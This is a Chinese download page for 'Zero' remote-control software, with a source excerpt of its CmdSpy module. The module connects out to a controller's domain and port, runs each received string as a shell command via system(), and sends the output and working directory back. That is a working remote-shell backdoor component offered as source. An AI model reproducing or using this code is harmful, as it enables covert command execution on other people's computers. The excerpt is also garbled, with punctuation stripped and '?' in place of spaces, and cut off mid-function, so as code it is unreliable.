資源簡介
Zero遠控,遠控教程
代碼片段和文件信息
#include?“cmdspy.h“
//?互擠體,用來確保線程安全
static?CRITICAL_SECTION?gCs;
//?初始化類
static?CmdSpy?gSpy;
//?臨時飯后信息保存路徑
static?std::string?gTmpReturnFile?=?“cmd_return.tmp“;
CmdSpy::CmdSpy()
{
????//?初始化互擠體
????InitializeCriticalSection(&gCs);
}
CmdSpy::~CmdSpy()
{
????//?刪除互擠體
????DeleteCriticalSection(&gCs);
}
void?CmdSpy::startByNewThread(std::string?domain?int?port)
{
????//?將域名和端口數據轉換成一個字符指針類型
????char?*args?=?new?char[MAX_PATH+sizeof(int)];
????domain.reserve(MAX_PATH);
????memcpy(argsdomain.data()?MAX_PATH);
????memcpy(args+MAX_PATH(char*)&port?sizeof(int));
????//?創建新線程
????HANDLE?h?=?CreateThread(NULL0?CmdSpy::threadProc(LPVOID)args0NULL);
????if?(!h)?{
????????std::cout?<“Failed?to?create?new?thread“?<????????std::fflush(stdout);
????}
}
DWORD?CmdSpy::threadProc(LPVOID?args)
{
????char?domain[MAX_PATH];
????memcpy(domain?args?MAX_PATH);
????int?port?=?*((int*)((char*)args+MAX_PATH));
????//?開始監控
????startCmdSpy(domain?port);
????//?釋放參數
????delete?(char?*)args;
????return?true;
}
void?CmdSpy::startCmdSpy(std::string?domain?int?port)
{
????//?創建socket并連接至服務端
????TcpSocket?sock;
????if?(!sock.connectTo(domain?port))?{
????????std::cout?<“Failed?to?connect?cmd?spy?server?“?<<
?????????????????????domain?<“:“?<????????std::fflush(stdout);
????????return;
????}
????//?開始監控消息
????std::cout?<“Started?cmd?spy“?<????std::fflush(stdout);
????//?死循環,不斷從服務端接收數據
????const?int?packetSize?=?800;
????char?szData[packetSize];
????int?ret;
????std::string?buf;
????while?(1)?{
????????ret?=?sock.recvData(szData?packetSize);
????????//?出現錯誤
????????if?(ret?==?SOCKET_ERROR?||?ret?==?0)?{
????????????break;
????????}
???????//?把數據加入到緩沖區
???????addDataToBuffer(&sock?buf?szData?ret);
????}
????//?完成
????std::cout?<“Finished?cmd?spy“?<????std::fflush(stdout);
}
void?CmdSpy::addDataToBuffer(TcpSocket?*sock?std::string?&buf?char?*data?int?size)
{
????buf.append(datasize);
????//?把數據轉換成指令模式
????int?endIndex;
????while?((endIndex?=?buf.find(gSpy.CmdEnd))?>=?0)?{
????????std::string?cmd?=?buf.substr(0endIndex);
????????buf.erase(0?endIndex+gSpy.CmdEnd.length());
????????//?處理指令
????????std::string?retData?=?execCmd(cmd);
????????//?發送Cmd命令返回數據到服務端
????????sock->sendData(retData.data()?retData.size());
????????//?發送當前文件位置
????????std::string?pwd?=?gSpy.CmdPwd;
????????pwd.append(gSpy.CmdSplit);
????????pwd.append(getPWD());
????????//?發送Cmd命令返回數據到服務端
????????sock->sendData(pwd.data()?pwd.size());
????}
}
std::string?CmdSpy::execCmd(std::string?cmd)
{
????//?鎖定函數,其他線程不能進來
????EnterCriticalSection(&gCs);
????//?執行指令,然后保存在臨時文件
????system(cmd.append(“?>?“).append(gTmpReturnFile).data());
????//?打開臨時文件
????FILE?*fp?=?fopen(gTmpReturnFile.data()?“rb“);
????if?(!fp)?{
????????std::cout?<“Failed?to?open?return?file?of?cmd\n“;
????????std::fflu
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????文件??????84480??2016-03-03?20:40??Zero遠控_1.0\bearer\qgenericbearer.dll
-----------?---------??----------?-----??----
????????????????84480????????????????????1
評論
共有 條評論